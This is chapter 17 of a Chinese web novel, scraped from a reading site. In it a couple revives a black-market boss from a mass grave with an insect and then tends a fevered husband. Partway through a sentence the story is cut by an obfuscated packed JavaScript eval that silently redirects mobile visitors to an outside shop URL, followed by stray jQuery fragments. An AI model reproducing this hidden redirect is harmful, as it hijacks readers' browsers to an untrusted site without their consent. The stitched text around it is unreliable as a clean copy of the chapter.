文趣网 > 其他小说 > 纯恨夫妻,创翻京城 > 17. 第 17 章
    第十七章

    夜半,突如其来的暴雨也没有影响谢曦的计划。

    他和冉祯天黑前出城,直到入夜后才架着驴车赶到了城西的乱葬岗。

    两人在车厢内穿戴蓑衣和雨帽,但雨太大了,车帘根本遮不住,冉祯被打湿了半边身子,忍不住抱怨:

    “深更半夜到这种地方,你最好有正经理由。”

    谢曦的情况也差不多,无奈递给冉祯一把长柄铁铲:

    “救人,快点。”

    说完谢曦率先下车,站在车旁想伸手扶她,冉祯径直跳落,将铁铲插在地上,边系雨帽绳结边说:

    “乱葬岗救人还是救鬼啊?”

    谢曦没回答,拉上冉祯就走,看起来是挺急的,这不禁让冉祯更加好奇谢曦到底想救什么人。

    跟在他身后走了没多久,谢曦就指着一处没长杂草的平地说:

    “就这里,挖吧。”

    说着他自己便先动手挖起来,冉祯随即跟上。

    土很松,再加上被雨水冲刷,所以一点都不难挖,就是雨太大了,雨帽和蓑衣下已经被雨水渗入,裤腿和鞋基本全湿了。

    挖了一会儿,冉祯就看到一只惨白的手,喊谢曦瞥了一眼,谢曦说:

    “继续挖,还在下面。”

    冉祯见谢曦神情认真,也不敢怠慢,继续向下挖,经过两人的努力,很快就挖出了一个尸坑,里面横七竖八的堆了十几具尸体,应该是埋进去没多久,尸体还没开始腐烂和发臭,但这画面已经很令人震撼和胆颤了。

    谢曦在尸坑上转了一圈,指着被压在下面的一具尸体说:

    “这个,我们一起拖出来。”

    冉祯见谢曦面色发白,拿着铁铲的手似乎还有些抖,知他已然尽力,遂言:

    “不用你,我来。”

    冉祯径直跳下尸坑,把谢曦指定的那具‘尸体’,从沉重的尸堆下方拖了上去。

    谢曦扔掉铁铲,蹲下把‘尸体’翻着平躺,伸进蓑衣里面摸索一阵,摸出一只瓷瓶,他迅速打开瓶盖,从里面放出一只米粒大小的黑色小虫。

    冉祯刚从尸坑爬上来,就看见那只黑色小虫从‘尸体’微张的嘴巴爬了进去。

    过了大约十几息,‘尸体’忽然动了,仿佛溺水之人上岸呼吸到了新鲜空气,他张大嘴巴急速呼吸,又因呛到了雨水而本能趴到一旁剧烈咳嗽起来。

    片刻后,刑啸天终于从差点被雨水呛死的悲催中缓了过来。

    顶着瓢泼般的雨水,他抬眼看去,雷声滚过,他的目光正撞上两道矗立在雷电中的身影,居高临下俯视着他,宛如从幽冥中现身的判官。

    其中一个判官他似乎见过,正是不久前突然出现在关押他的顺天府大牢中的那个人。

    刑啸天不认识他,但他开口却问了刑啸天【你想不想活】五个字?

    谁不想活?

    可刑啸天是死囚,还是被身边人勾结权贵狠狠背叛,势必要弄死的人。

    又岂是随随便便一句‘想活’就能活下来的。

    所以当时刑啸天没有回答,只是坐在阴暗牢房的角落里幽幽的瞪了他一眼,那人没有再问,只是手一挥,几个白色光点冲他飞来,很快分别消失在他的额头、躯干和四肢上。

    刑啸天不知怎么回事,想把虫子捉出来,可他摸遍全身也没找到那些消失在他身体上的虫子。

    那人放虫之后就走了,但刑啸天的脑中却依旧能听见他的声音,他说:

    【若我能救你,今后便替我效命。】

    刑啸天觉得诡异极了,但内心又期盼这是真的,他一身血仇未报,那些人欠他的债还未一笔笔讨回来,本就不甘这般死去,只是背叛之人身后的权势太大,把他以反贼的名义打成了死囚,过两日便要行刑。

    他早已无计可施,若那人真能把他从阎王殿抢回一条命,就算今后要为那人效命,刑啸天觉得也值了。

    但直到他被从死牢转移去行刑的前一刻,刑啸天都不认为对方能做到……

    **

    半个时辰后,一辆驴车驶入城外一座小村,停靠在一户农家小院门前。

    院里人似乎一直守着,听见声音便提灯开门将车上下来的几人迎入。

    刑啸天受了重伤被困在天牢半个月,又历经了一回生死,撑到农家小院已然力竭。

    谢曦在小院中安排了大夫,为他好一番医治,等刑啸天病情稍微稳定下来后,谢曦才给他留了几句话,然后带着满肚子疑问的冉祯离开。

    回去的路上,雨势见小。

    依旧是冉祯主动要求赶车,谢曦坐在一旁陪伴,顺便将刑啸天的来历说与冉祯听。

    “你可听说过黑市?”

    冉祯摇头表示不知道,她对京城本就不熟悉,知道集市、坊市,还真没听说有什么黑市的。

    “黑市就是京城内外做一切见不得光生意的地方,暗拍、赌坊、消息买卖等等,无一不涉。”

    “今日我救的那人叫刑啸天,便是京城黑市的实际操控者,三教九流皆听他号令。”

    冉祯嗤笑:

    “他这么厉害,还给人埋了?”

    谢曦说:“厉害不代表不会遭受算计,这一点你我应当最清楚不过。”

    冉祯想想,觉得也对。

    “黑市的存在令官府都睁一只眼闭一只眼。刑啸天此人行事狠辣,却极重规矩,手下遍布京城,无人敢在他的地盘上造次。”

    “他此番阴沟里翻船,被身边人的出卖了,关进顺天府暗无天日的地牢,我救他是想让他今后为我做事。”

    谢曦将自己的真实目的和盘托出:

    “前世他死了,后来那个出卖他的人接管了他一手创办的黑市,暗地里为大皇子萧介做了不少事。”

    冉祯咋舌:“大皇子?怎么还有皇子的事?”

    因为萧庸的关系,冉祯对姓萧的都很反感。

    “若非有皇子撑腰,出卖刑啸天的人可拿不住他。”谢曦说。

    “那他们既然抓了刑啸天,干嘛不直接杀了他?还搞什么冤狱,不是多此一举吗?”冉祯疑惑不解。

    “刑啸天手上有他们要的东西,没拿到之前自然不能杀。”

    冉祯搞不懂这里面的事儿,她只关心:

    “那背叛之人既然有皇子撑腰,刑啸天就算捡回一条命,又拿什么跟他们斗?”

    “你不懂刑啸天三个字在黑市的价值,前世那叛徒之所以能顺利掌控黑市,也是借了刑啸天结拜兄弟的名义,不然江湖上那些好汉哪肯替他卖命。”

    冉祯担忧:

    “既如此,你又怎么肯定刑啸天一定会替你卖命?”

    这个问题谢曦没有回答,冉祯扭头看他,正对上他那但笑不语的神情。

    冉祯忽然想起他救刑啸天时放出来的那只虫子……

    行吧,她忘了谢曦的拿手绝活。

    “真有你的。”

    冉祯由衷感慨了一句,便专心驾车。

    暴雨转小雨,淅淅沥沥地下着。

    雨丝随着风斜斜地打在脸上,凉意一点点往骨头缝里钻。

    谢曦原本挺直的脊背渐渐

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520217|202621||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    弯了下去,他强撑着坐了一会儿,终是抵不住那股从骨子里泛上来的疲乏,身子微微晃了晃,靠在了车厢壁上。

    他脸白如纸,唇上也没了血色,只眉心拧着一道浅浅的痕。

    可他仍偏过头,看向冉祯的侧影,目光虚虚的,像是为了确认她还在。

    冉祯驾着驴车赶在城门开启后的第一拨进了城,将驴车停回后巷,冉祯下车走了两步,谢曦却没跟上,她一回头就看见谢曦仍靠在车框上。

    “谢曦?”

    冉祯过去喊了他一声。

    谢曦缓缓睁开双眸,没什么精神的扫了冉祯一眼,确认了一番环境后,才想起来要下车。

    谁知他长腿一落地,反而软了一下,冉祯眼明手快扶住他:

    “没事吧?”

    谢曦拧了拧疲惫不堪的眉心,摆了摆手,任由冉祯把他扶进院中。

    但他脚步虚浮的样子实在不像没事,冉祯直接把他扶进了寝房,让他坐在椅子上,抬手摸了摸他的额头,滚烫的触感吓了冉祯一跳。

    “发热了,你先把湿衣服脱了,我去打热水。”

    谢曦想喊她不必操心,唤李叔和赵叔就好,但冉祯行动迅速,风风火火的就出去了。

    很快李叔和赵叔就提着热水进房,很有经验的伺候谢曦擦身换衣。

    冉祯在寝房外等着,不一会儿李叔出来了,冉祯说:

    “我摸着挺热的,得叫大夫吧?”

    李叔说:“大夫不牢靠,大公子自己能看,少夫人别担心。”

    冉祯想想好像也是,谢曦的医术传自他的阿娘,应该比一般大夫要厉害些。

    略微宽心后,冉祯又想起来另一件事,叫住提着空桶想出去的李叔问道:

    “昨晚府里可有发生什么事?清辉院那边……”

    李叔愣了愣,说:“少夫人怎知清辉院出事了?”

    冉祯提着一颗心问:“何事?”

    李叔压低声音回禀:

    “世子不见了。您昨日下午在院里打盹儿时,府卫就来查问过,后来入夜府卫们还出去找来着,也不知找到没有。”

    冉祯问完这些,便让李叔下去了。

    这时赵叔也拿了谢曦亲手写的药方从寝房内出来,冉祯谢过后进房看望换了身干爽寝衣,靠坐在床边的谢曦。

    见她进来,谢曦有气无力的问:

    “你和李叔在外面嘀咕什么?”

    冉祯在床沿坐下,探手摸了摸他,小声将她昨日算计谢晁的事情一五一十的告诉谢曦知晓,谢曦听后呆愣了好一会儿,才惊讶的问:

    “谢晁给你写情信,所以你把他送去了青楼?”

    前世可没这回事,甚至谢曦在得知谢晁给冉祯写过情信后,还曾怀疑过冉祯对谢晁有好感,暗地里吃过不少醋呢。

    见他不说话,冉祯心里没了底:

    “我是不是冲动了?”

    谢曦回神,见冉祯面露愧色,赶忙安慰:

    “没有,只是有些吃惊。”

    谢曦说着,忽然笑了起来,把冉祯看得莫名其妙:

    “你笑什么?有话直说,若是闯祸了,我想办法弥补。”

    谢曦却摇头表示:

    “无妨。你既做了,我自有办法收场的。”

    冉祯还想说点什么,谢曦却拉住冉祯的手:

    “你也累了一整晚,上床陪我睡会儿吧。”

    冉祯看着两人交握的手,有些无语。

    为什么谢曦总能把这种要求说得理直气壮,让她想拒绝都不知如何开口。